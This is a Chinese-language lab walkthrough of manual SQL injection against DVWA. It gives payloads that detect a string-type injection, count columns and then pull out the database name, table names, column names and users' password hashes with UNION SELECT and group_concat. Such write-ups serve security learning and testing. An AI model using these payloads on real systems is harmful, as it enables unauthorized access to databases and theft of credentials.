判断注入类型
输入1,有回显
输入1 and 1=1 
输入1 and 1=2
有回显,说明and 1=2 没有进行判断,由此得知为字符型注入(有引号闭合,引号里的东西被转为字符串,and没有被判断,所以会成功回显,如果为数字型注入(没有引号闭合),那么and 1=2 明显是错误的,不会回显)
或者
输入1’
再输入
1’#(或者 先1’ and ‘1’=’1 再1’ and ‘1’=’2)进行判断
与1的回显相同,说明参数传递处存在引号,为字符型注入
1’#原理:
1’#中的’用来闭合前面的引号,#把后面的引号注释掉了,后台sql语句
select from <表名> where id = ‘1’ # ‘ (可以看到不加#时 后面的单引号与前面连在了一起,变成了’1’’ 此时报错)
1’ and ‘1’=’1 原理:
后台sql语句:
select from <表名> where id = ‘1 and ‘1’=’1’ 成功回显
select from <表名> where id = ‘1 and ‘1’=’2’ 不会回显
(未给出具体截图,可自行尝试)
判断列
参考:https://www.cnblogs.com/wangtanzhi/p/12590172.html#autoid-0-1-0
https://blog.csdn.net/wangyuxiang946/article/details/121058067
输入 1’ order by 2#
有回显,输入1’ order by 3#则会报错,说明表只有两列(按照索引将表的第几列进行排序,这里3报错是因为一共有两列)
判断哪一列会出现回显
输入
1’ union select 110110,’Ylq’#
可以输入 1’ union select 1,2#来判断,这样更快一些
原理参考:https://blog.csdn.net/qq_44159028/article/details/114820256
发现第一列,第二列都可以进行显示,说明第一列第二列都可以进行回显
爆库
1’ union select 1,database()#
得到库名 dvwa
*爆表
1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=’dvwa’#
其实本来应该是:
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#
但是输入这个会报错(看个人情况),如图:
原因:编码不兼容
具体请参考:https://blog.csdn.net/u014029795/article/details/88215159?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163377914816780271595417%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163377914816780271595417&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-88215159.pc_search_ecpm_flag&utm_term=dvwa+Illegal+mix+of+collations+for+operation+%27UNION%27&spm=1018.2226.3001.4187
group_concat() 因为可能不止一个表,有的界面可能显示不全,所以用group_concat()函数将表名统一列出
可以看到有两个表,一个guestbook,一个users
爆字段
1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=’users’#
同样地,如果没有源码不兼容问题可以不要 COLLATE utf8_general_ci
爆用户名和密码
1’ union select group_concat(user),group_concat(password) COLLATE utf8_general_ci from users#
至此,已经得到了我们想要的内容
因为有group_concat()函数,所以我们可以多查一些:
group_concat(user_id, ‘ ‘, first_name, ‘ ‘, last_name),group_concat(password) (’ ‘ 表示 user_id与first_name 之间用空格隔开
